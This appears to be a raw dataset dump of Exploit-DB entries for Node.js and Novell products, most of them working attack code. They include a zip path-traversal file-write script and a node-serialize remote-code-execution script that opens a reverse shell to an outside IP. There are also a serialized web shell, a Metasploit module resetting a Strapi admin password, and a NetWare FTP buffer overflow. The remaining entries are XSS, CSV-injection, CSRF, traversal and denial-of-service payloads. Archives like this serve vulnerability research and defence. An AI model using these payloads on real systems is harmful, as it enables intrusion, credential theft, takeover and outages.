deardaniel/secdata-raw huggingface dataset:
Exploit-DB #52276
Description: unzip-stream 0.3.1 - Arbitrary File Write
Type: local
Platform: nodejs
Date: 2025-04-30
Author: cybersploit

Exploit:
# Exploit Title: unzip-stream 0.3.1 - Arbitrary File Write
# Date: 18th April, 2024
# Exploit Author: Ardayfio Samuel Nii Aryee
# Software link: https://github.com/mhr3/unzip-stream
# Version: unzip-stream 0.3.1
# Tested on: Ubuntu
# CVE: CVE-2024-42471



# NB: Python's built-in `zipfile` module has limitations on the `arcname` parameter. 
# To bypass this restriction, edit the module's source code (`zipfile.py`) and comment out the following line:
# arcname = os.path.normpath(os.path.splitdrive(arcname)[1])
# For a more detailed explanation, feel free to check out my blog post here: https://themcsam.github.io/posts/unzip-stream-PoC/


import zipfile
import os
import sys

file_path = './poc' # Change to the file which contains the data to write
zip_name = 'evil.zip'
path_to_overwrite_file = 'home/mcsam/pocc' # Change to target file to write/overwrite

if not os.path.isfile(file_path):
    print(f"Error: File '{file_path}' does not exist.")
    sys.exit()

with zipfile.ZipFile(zip_name, 'w', zipfile.ZIP_DEFLATED) as zipf:
    zipf.write(file_path, \
    arcname=f'hack/../../../../../../../../../../../../../../{path_to_overwrite_file}')
    print(f"File '{file_path}' has been zipped as '{zip_name}'.")
Exploit-DB #43054
Description: KeystoneJS 4.0.0-beta.5 - Cross-Site Scripting
Type: webapps
Platform: nodejs
Date: 2017-10-25
Author: Ishaq Mohammed

Exploit:
# Exploit Title: KeystoneJS 4.0.0-beta.5 Unauthenticated Stored XSS
# Vendor Homepage: http://keystonejs.com/
# Exploit Author: Ishaq Mohammed
# Contact: https://twitter.com/security_prince
# Website: https://about.me/security-prince
# Category: WEBAPPS
# Platform: Node.js
# CVE: CVE-2017-15878

Vendor Description:

KeystoneJS is a powerful Node.js content management system and web app
framework built on express and mongoose. Keystone makes it easy to create
sophisticated web sites and apps, and comes with a beautiful auto-generated
Admin UI.
Source: https://github.com/keystonejs/keystone/blob/master/README.md

Technical Details and Exploitation:

A cross-site scripting (XSS) vulnerability exists in
fields/types/markdown/MarkdownType.js in KeystoneJS before 4.0.0-beta.7 via
the Contact Us feature.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15878

Proof of Concept:

1. Navigate to Contact Us page
2. Fill in the details needed and enter the below payload in message field
and send
<a onmouseover=alert(document.cookie)>XSS link</a>
3. Now login as admin and navigate to the above new record created in the
enquiries
4. Move the cursor on the text “XSS link”

Solution:

The issues have been fixed and the vendor has released the patches

https://github.com/keystonejs/keystone/pull/4478/commits/5cb6405dfc0b6d59003c996f8a4aa35baa6b2bac

Reference:

https://github.com/keystonejs/keystone/pull/4478
https://securelayer7.net/download/pdf/KeystoneJS-Pentest-Report-SecureLayer7.pdf
Exploit-DB #43053
Description: KeystoneJS 4.0.0-beta.5 - CSV Excel Macro Injection
Type: webapps
Platform: nodejs
Date: 2017-10-25
Author: Ishaq Mohammed

Exploit:
# Exploit Title: KeystoneJS 4.0.0-beta.5 Unauthenticated CSV Injection
# Vendor Homepage: http://keystonejs.com/
# Exploit Author: Ishaq Mohammed
# Contact: https://twitter.com/security_prince
# Website: https://about.me/security-prince
# Category: WEBAPPS
# Platform: Node.js
# CVE: CVE-2017-15879

Vendor Description:

KeystoneJS is a powerful Node.js content management system and web app
framework built on express and mongoose. Keystone makes it easy to create
sophisticated web sites and apps, and comes with a beautiful auto-generated
Admin UI.
Source: https://github.com/keystonejs/keystone/blob/master/README.md

Technical Details and Exploitation:

CSV Injection (aka Excel Macro Injection or Formula Injection) exists in
admin/server/api/download.js and lib/list/getCSVData.js in KeystoneJS
before 4.0.0-beta.7 via a value that is mishandled in a CSV export.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15879

Proof of Concept:

1.Go to Contact Us page and insert the below payload in the Name Field.
Payload: @SUM(1+1)*cmd|' /C calc'!A0
2. Login as Admin
3. Now Navigate to Enquiries page and check the entered payload.
4. Download as .csv, once done open it in excel and observe that calculator
application gets open.


Solution:

The issues have been fixed and the vendor has released the patches
https://github.com/keystonejs/keystone/pull/4478/commits/1b791d55839ebf434e104cc9936ccb8c29019231

Reference:

https://github.com/keystonejs/keystone/pull/4478
https://securelayer7.net/download/pdf/KeystoneJS-Pentest-Report-SecureLayer7.pdf

-- 
Best Regards,
Ishaq Mohammed
https://about.me/security-prince
Exploit-DB #43922
Description: KeystoneJS < 4.0.0-beta.7 - Cross-Site Request Forgery
Type: webapps
Platform: nodejs
Date: 2018-01-28
Author: Saurabh Banawar

Exploit:
# Exploit Title: Application wide CSRF Bypass
# Date: Sep, 2017
# Exploit Author: Saurabh Banawar
# Vendor Homepage: http://keystonejs.com/
# Software Link: https://github.com/keystonejs/keystone
# Version: 4.0.0
# Tested on: Windows 8.1
# CVE : 2017-16570


Link: https://vuldb.com/?id.109170


Exploit:

<html>
 <body>
 <form action="http://127.0.0.1:3000/keystone/api/users/create" method="POST"
enctype="multipart/form-data">
 <input type="hidden" name="name&#46;first" value="Saurabh" />
 <input type="hidden" name="name&#46;last" value="Banawar" />
 <input type="hidden" name="email"
value="saurabh&#46;banawar&#64;securelayer7&#46;net" />
 <input type="hidden" name="password" value="test" />
 <input type="hidden" name="password&#95;confirm" value="test" />
 <input type="submit" value="Submit request" />
 </form>
 </body>
</html>
Exploit-DB #49552
Description: Node.JS - 'node-serialize' Remote Code Execution (2)
Type: webapps
Platform: nodejs
Date: 2021-02-10
Author: UndeadLarva

Exploit:
# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (2)
# Exploit Author: UndeadLarva
# Software Link: https://www.npmjs.com/package/node-serialize
# Version: 0.0.4
# CVE: CVE-2017-5941

import requests
import re
import base64
import sys

url = 'http://192.168.100.133:8000/' # change this

payload = ("require('http').ServerResponse.prototype.end = (function (end) {"
"return function () {"
"['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));"
"console.log('still inside');"
"const { exec } = require('child_process');"
"exec('bash -i >& /dev/tcp/192.168.200.5/445 0>&1');" # change this
"}"
"})(require('http').ServerResponse.prototype.end)")

# rce = "_$$ND_FUNC$$_process.exit(0)"
# code ="_$$ND_FUNC$$_console.log('behind you')"
code = "_$$ND_FUNC$$_" + payload

string = '{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec": "'+code+'"}'

cookie = {'profile':base64.b64encode(string)}

try:
    response = requests.get(url, cookies=cookie).text
    print response
except requests.exceptions.RequestException as e:
    print('Oops!')
    sys.exit(1)
Exploit-DB #50036
Description: Node.JS - 'node-serialize' Remote Code Execution (3)
Type: webapps
Platform: nodejs
Date: 2021-06-18
Author: Beren Kuday GÖRÜN

Exploit:
# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (3)
# Date: 17.06.2021
# Exploit Author: Beren Kuday GORUN
# Vendor Homepage: https://github.com/luin/serialize
# Software Link: https://github.com/luin/serialize
# Version: 0.0.4
# Tested on: Windows & Ubuntu
# CVE : 2017-5941

var serialize = require('node-serialize');
var payload = {
    "webShell" : "_$$ND_FUNC$$_function(){const http = require('http'); const url = require('url'); const ps  = require('child_process'); http.createServer(function (req, res) { var queryObject = url.parse(req.url,true).query; var cmd = queryObject['cmd']; try { ps.exec(cmd, function(error, stdout, stderr) { res.end(stdout); }); } catch (error) { return; }}).listen(443); }()"
    }
serialize.unserialize(serialize.serialize(payload))

/*
# after being exploited

┌──(root@kali)-[/home/kali]
└─# curl http://10.0.2.4:443?cmd=whoami
nodeadmin

*/
Exploit-DB #50716
Description: Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit)
Type: webapps
Platform: nodejs
Date: 2022-02-08
Author: WackyH4cker

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,

      'Name'           => "Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit)",
      'Description'    => %q{
        This exploit module abuses the mishandling of password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'WackyH4cker' ],
      'References'     =>
        [
          [ 'URL', 'https://vulners.com/cve/CVE-2019-18818' ]
        ],
      'Platform'       => 'linux',
      'Targets'        => [
        [ 'Strapi 3.0.0-beta-17.4', {} ]
      ],
      'Payload'        => '',
      'Privileged'     => true,
      'DisclosureDate' => "",
      'DefaultOptions' => 
        {
          'SSL' => 'False',
          'RPORT' => 80,
        },
      'DefaultTarget'  => 0

      ))

      register_options [
        OptString.new('NEW_PASSWORD', [true, 'New password for user Admin'])
      ]
  end

  def check

    res = send_request_raw({ 'uri' => '/admin/init' })
    version = JSON.parse(res.body) 

    if version["data"]["strapiVersion"] == '3.0.0-beta.17.4'
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
    
  end

  def run

    json_body = { 'code' => {'$gt' => 0},
      'password' => datastore['NEW_PASSWORD'],
      'passwordConfirmation' => datastore['NEW_PASSWORD'] }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => '/admin/auth/reset-password',
      'ctype' => 'application/json',
      'data' => JSON.generate(json_body)
    })

    print_status("Changing password...")
    json_format = JSON.parse(res.body)
    jwt = json_format['jwt']

    if res.code == 200
      print_good("Password changed successfully!")
      print_good("USER: admin")
      print_good("PASSWORD: #{datastore['NEW_PASSWORD']}")
      print_good("JWT: #{jwt}")
    else
      fail_with(Failure::NoAccess"Could not change admin user password")
    end
  end

end
Exploit-DB #19746
Description: Novell BorderManager 3.0/3.5 Audit Trail Proxy - Denial of Service
Type: dos
Platform: novell
Date: 2000-02-04
Author: Chicken Man

Exploit:
source: https://www.securityfocus.com/bid/976/info

A feature called the CS Audit Trail Proxy is installed by default with BorederManager 3.0 and 3.5 .This feature opens a listening port at port 2000, on both the internal and external interfaces. If a connection is made to this port and the 'enter' key hit a few times, the server will start experincing memory allocation problems. Eventually the server will have to be rebooted to restore normal functionality.

The CS Audit Trail Proxy is handled by CSATPRX.NLM

telnet target:2000
<enter>
<enter>
Exploit-DB #19541
Description: Novell Client 3.0/3.0.1 - Denial of Service
Type: dos
Platform: novell
Date: 1999-10-08
Author: Bruce Dennison

Exploit:
source: https://www.securityfocus.com/bid/700/info


Novell client versions 3.0 and 3.01 for Windows platforms are vulnerable to a remotely exploitable vulnerability which could cause a denial of service. The client opens a listening tcp socket on port 427, to which if a SYN is sent, results in the machine locking with a "blue screen" error. The only solution from that point is to reset the affected computer.


nmap -sS -p 427 <target>
Exploit-DB #33183
Description: Novell Client 4.91.5 - ActiveX Control 'nwsetup.dll' Remote Denial of Service (1)
Type: dos
Platform: novell
Date: 2009-08-25
Author: Francis Provencher

Exploit:
source: https://www.securityfocus.com/bid/36139/info

The Novell Client ActiveX control is prone to a remote denial-of-service vulnerability because of an unspecified error.

A successful attack allows a remote attacker to crash an application that is using the ActiveX control (typically Internet Explorer), denying further service to legitimate users.

Novell Client 4.91.5.1 is vulnerable; other versions may also be affected.

<html><body> <object classid="CLSID:{3D321EAD-C7B1-41E8-82DD-0855E1E1B0AA}" ></object> </body></html>
Exploit-DB #33184
Description: Novell Client 4.91.5 - ActiveX Control 'nwsetup.dll' Remote Denial of Service (2)
Type: dos
Platform: novell
Date: 2009-08-25
Author: Francis Provencher

Exploit:
source: https://www.securityfocus.com/bid/36139/info
 
The Novell Client ActiveX control is prone to a remote denial-of-service vulnerability because of an unspecified error.
 
A successful attack allows a remote attacker to crash an application that is using the ActiveX control (typically Internet Explorer), denying further service to legitimate users.
 
Novell Client 4.91.5.1 is vulnerable; other versions may also be affected.

<html><body> <object classid="CLSID:{158CD9E8-E195-4E82-9A78-0CF6B86B3629}" ></object> </body></html>
Exploit-DB #31710
Description: Novell Groupwise 7.0 - HTML Injection / Denial of Service
Type: dos
Platform: novell
Date: 2008-04-26
Author: Juan Pablo Lopez Yacubian

Exploit:
source: https://www.securityfocus.com/bid/28944/info

Novell GroupWise is prone to an HTML-injection vulnerability and a denial-of-service vulnerability.

By exploiting the HTML-injection vulnerability, attackers can execute HTML and script code in the context of the affected site, potentially allowing them to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

By exploiting the denial-of-service vulnerability, attackers can crash the application.

Novell GroupWise 7 is vulnerable to these issues; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31710.zip
Exploit-DB #34980
Description: Novell Groupwise 8.0 - Multiple Remote Vulnerabilities
Type: dos
Platform: novell
Date: 2010-11-08
Author: Francis Provencher

Exploit:
source: https://www.securityfocus.com/bid/44732/info

Novell GroupWise is prone to multiple security vulnerabilities, including multiple remote code-execution vulnerabilities, an information-disclosure issue, and a cross-site scripting issue.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, obtain potentially sensitive information, or execute arbitrary code in the context of the user running the affected application. Information harvested may aid in further attacks; other attacks are also possible.

#!/usr/bin/python
#
# Francis Provencher for Protek Research Lab's.
#
#
 
 
import socket
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
buffer = '\x41' * 1368
 
s.connect(('192.168.100.178',143))
s.recv(1024)
s.send('A001 LOGIN test  test ' + buffer + '\r\n')
s.recv(1024)
s.send('A001 LSUB aa ' + buffer + '\r\n')
s.recv(1024)
s.close()
Exploit-DB #19744
Description: Novell Groupwise Enhancement Pack 5.5 Enhancement Pack - Denial of Service
Type: dos
Platform: novell
Date: 2000-02-07
Author: Adam Gray

Exploit:
source: https://www.securityfocus.com/bid/972/info

By requesting a long URL from a Novell Groupwise 5.5 webserver with the Enhancement Pack installed, it is possible to cause the server to abend, the Java.nlm to take up all available CPU resource, or to stop the post office service. The server will need to be rebooted to restore normal operation.


http ://target/servlet/long string of 200+ characters
Exploit-DB #14928
Description: Novell Netware - NWFTPD RMD/RNFR/DELE Argument Parsing Buffer Overflow
Type: dos
Platform: novell
Date: 2010-09-07
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <  Day 7 - (Binary Analysis)
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

 http://www.exploit-db.com/moaub-7-novell-netware-nwftpd-rmdrnfrdele-argument-parsing-buffer-overflow/
'''

'''
  Title            :  Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overflow
  Version          :  NWFTPD.NLM 5.09.02 (Netware 6.5  SP8)
  Analysis         :  http://www.abysssec.com
  Vendor           :  http://www.Novell.com
  Impact           :  Critical
  Contact          :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter          :  @abysssec
'''
from ftplib import FTP
import sys

try:
	netwareServerIp = '127.0.0.1'
	ftp = FTP(netwareServerIp) 				
	ftp.login('anonymous','a@a') 
	buffer = "/"
	buffer += "\x90"*107  				#nops
	buffer += "\xcc"*413				#shellcode part2 = 413 byte
	buffer += "\xb9\xa4\xe0\x91"			#EIP - jmp esp from nwftpd.nlm module
	buffer += "\xcc"*124				#shellcode part1 = 124 byte
	buffer += "\x08\xeb\x90\x90\x90\x90" 		#short jmp to shellcode part2 
	ftp.voidcmd('DELE ' + buffer) 
	
except Exception,err:
	print err
Exploit-DB #20072
Description: Novell Netware 5.0 SP5/6.0 SP1 - SMDR.NLM Denial of Service
Type: dos
Platform: novell
Date: 2000-07-11
Author: Dimuthu Parussalla

Exploit:
source: https://www.securityfocus.com/bid/1467/info

When Novell Netware is configured with IPX-Compatibility enabled, it is vulnerable to a denial of service attack by sending packets with random data to port 40193. Similar results are possible by sending fragmented packets. This has been observed on Novell Netware 5.0 service pack 5, other versions may be vulnerable. 

This behaviour has also been reported on Novell Netware 6.0 service pack 1. 

It should be noted that configuration of Netware with IPX is not supported and it is not advised for production servers.

Using the tool 'netcat':

# cat /dev/urandom | nc XXX.XXX.XXX.XXX 40193
Exploit-DB #22749
Description: Novell Netware 6.0 / eDirectory 8.7 - HTTPSTK.NLM Remote Abend
Type: dos
Platform: novell
Date: 2003-06-06
Author: Cheese Head

Exploit:
source: https://www.securityfocus.com/bid/7841/info

It has been reported that the HTTP Stack distributed with Novell Netware and eDirectory does not properly handle some types of malformed packets. Because of this, an attacker may be able to cause a denial of service to legitimate users of the HTTP service. 

# telnet www.example.com 80

GET /anthinh HTTP/1.1 (Hit Enter)
Host: ip address (Hit enter)
Transfer-Encoding:Chunked (Enter)
(Enter)
AAAAAAAA
(Enter)
(Enter)
Exploit-DB #28427
Description: Novell Identity Manager - Arbitrary Command Execution
Type: local
Platform: novell
Date: 2006-08-18
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/19688/info

Novell Identity Manager is prone to an arbitrary command-execution vulnerability. 

A local attacker can exploit this issue to execute arbitrary commands with superuser privileges. Exploiting this issue allows attackers to completely compromise affected computers.

CMD="usermod -c $gecos"
Exploit-DB #19682
Description: Netscape Enterprise Server / Novell Groupwise 5.2/5.5 - 'GWWEB.EXE' Multiple Vulnerabilities
Type: remote
Platform: novell
Date: 1999-12-19
Author: Sacha Faust Bourque

Exploit:
Netscape Enterprise Server for NetWare 4/5 3.0.7 a,Novell Groupwise 5.2/5.5 GWWEB.EXE Multiple Vulnerabilities

source: https://www.securityfocus.com/bid/879/info

The HELP function in GWWEB.EXE will reveal the path of the server, and combined with the '../' string, allow read access for any client to any .htm file on the server, as well as browseable directory listings.

Also, it is possible to abend GWINTER.NLM by specifying a long string where the server expects a variable setting. 

Requesting the following URL from the GroupWise server
http ://victimhost/cgi-bin/GW5/GWWEB.EXE?HELP=asdf
will return the error message:
Could not read file SYS:WEB\CGI-BIN\GW5\US\HTML3\HELP\ASDF.HTM
revealing the full path of the GroupWise server software.
Note: The URL above may need to be tailored to the target system.

To read .htm files anywhere on the server, or to browse directories, use HELP and the ../ string to traverse directories, for example:
http ://victimhost/cgi-bin/GW5/GWWEB.EXE?HELP=../../../secret.htm
or
http ://victimhost/cgi-bin/GW5/GWWEB.EXE?HELP=../../../
Again, the paths shown above may need to be modified.

To abend GWINTER.NLM request a URL like:
http ://victimhost/cgi-bin/GW5/GWWEB.EXE?[512+ chars]
It may be possible to remotely execute arbitrary code via this buffer overflow.
Exploit-DB #21488
Description: Netscape Enterprise Web Server for Netware 4/5 5.0 - Information Disclosure
Type: remote
Platform: novell
Date: 2002-05-29
Author: Procheckup

Exploit:
source: https://www.securityfocus.com/bid/4874/info

It has been reported that Netscape Enterprise Web Server may disclose path and system information to a remote user.

Netscape Enterprise Web Server for Netware contain several sample files which leak system information, this information can be obtained by remote users.

An attacker is able to send a request, for an affected sample file, that will cause the host to disclose the location of the web root path. Certain sample files will also reveal detailed system specific information. 

http://webserver/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/misc/test.jse

http://webserver/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/misc/allfield.jse

http://webserver/perl/samples/env.pl

http://webserver/perl/samples/lancgi.pl

http://webserver/perl/samples/volscgi.pl

http://webserver/perl/samples/ndslogin.pl

http://webserver/netbasic/websinfo.bas
Exploit-DB #29699
Description: Novell Access Management SSLVPN Server - Security Bypass
Type: remote
Platform: novell
Date: 2007-03-02
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/22787/info

Novell Access Management SSLVPN Server is prone to a security-bypass vulnerability.

A remote authenticated attacker can exploit this issue to access corporate resources normally restricted within VPN access policy. This may lead to other attacks.

This issue affects version 3 IR1 of Novell Access Management Server. 

A proof-of-concept modification to 'policy.txt' would be as follows:

sslize {
from : 0.0.0.0 / 0
to :10.0.0.0/255.0.0.0
port : 80
protocol :tcp
action :allow
};

The above example demonstrates how an attacker would allow their client machine HTTP access to any host on the remote network.
Exploit-DB #29400
Description: Novell Access Manager 3 Identity Server - 'IssueInstant' Cross-Site Scripting
Type: remote
Platform: novell
Date: 2007-01-08
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/21921/info

Access Manager Identity Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

GET /nidp/idff/sso?RequestID=1234&IssueInstant=<SCRIPT>alert("XSS");</SCRIPT>